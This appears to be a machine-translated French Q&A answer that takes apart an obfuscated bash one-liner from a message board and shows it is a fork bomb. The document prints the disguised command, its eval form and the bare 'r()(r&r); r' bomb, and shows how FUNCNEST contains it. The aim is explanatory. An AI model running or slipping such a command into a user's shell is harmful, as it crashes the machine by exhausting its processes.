Tout d’abord, regardons l’ensemble de la commande:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Il contient une chaîne entre guillemets qui est répercutée uudecode
. Notez cependant que la chaîne entre guillemets contient une chaîne entre guillemets . Cette chaîne est exécutée . La chaîne est:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Si nous regardons ce qu'il y a dedans, nous voyons trois commandes:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Effectuer une expansion du support sur la commande du milieu, nous avons:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
La première ligne tente d'exécuter une commande absurde en arrière-plan. Ceci est sans importance.
La deuxième ligne est importante: elle définit une fonction r
qui, une fois lancée, lance deux copies de elle-même. Bien entendu, chacun de ces exemplaires en lancerait deux autres. Etc.
La troisième ligne est lancée r
et démarre à la bombe.
Le reste du code, en dehors de la chaîne citée en arrière, est tout simplement absurde pour l'obscurcissement.
Comment exécuter la commande en toute sécurité
Ce code peut être exécuté en toute sécurité si nous fixons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec la FUNCNEST
variable de bash . Ici, nous le configurons 2
et cela arrête la récursivité:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Les messages d'erreur ci - dessus montrent que (a) les commandes de non - sens rYWdl
et Y29j
ne sont pas trouvés, (b) la bombe fourche se fait à plusieurs reprises arrêté par FUNCNEST, et (c) la sortie echo
ne commence pas par begin
et, par conséquent, ne sont pas entrées valide pour uudecode
.
La fourche bombe dans sa forme la plus simple
À quoi ressemblerait la bombe à fourche si on enlevait l'obscurcissement? Comme le suggèrent njzk2 et gerrit, cela ressemblerait à ceci:
echo "`r()(r&r);r`"
Nous pouvons simplifier encore plus:
r()(r&r); r
Cela consiste en deux déclarations: l'une définit la fonction fork-bomb r
et la seconde fonctionne r
.
Tous les autres codes, y compris le pipe to uudecode
, étaient là uniquement pour obscurcir et détourner.
La forme originale avait encore une autre couche d'erreur
Le PO a fourni un lien vers la discussion du conseil de la chaîne sur laquelle ce code est apparu. Tel que présenté ici, le code ressemblait à:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Notez l'un des premiers commentaires sur ce code:
J'ai craqué pour ça. Copié uniquement la partie qui fait écho et décode, mais toujours avec forkbombed
Sous la forme sur le tableau de bord, on pourrait penser naïvement que le problème serait la eval
déclaration opérant sur la sortie de uudecode
. Cela laisserait penser que eval
le fait de le résoudre résoudrait le problème. Comme nous l'avons vu plus haut, c'est faux et dangereusement.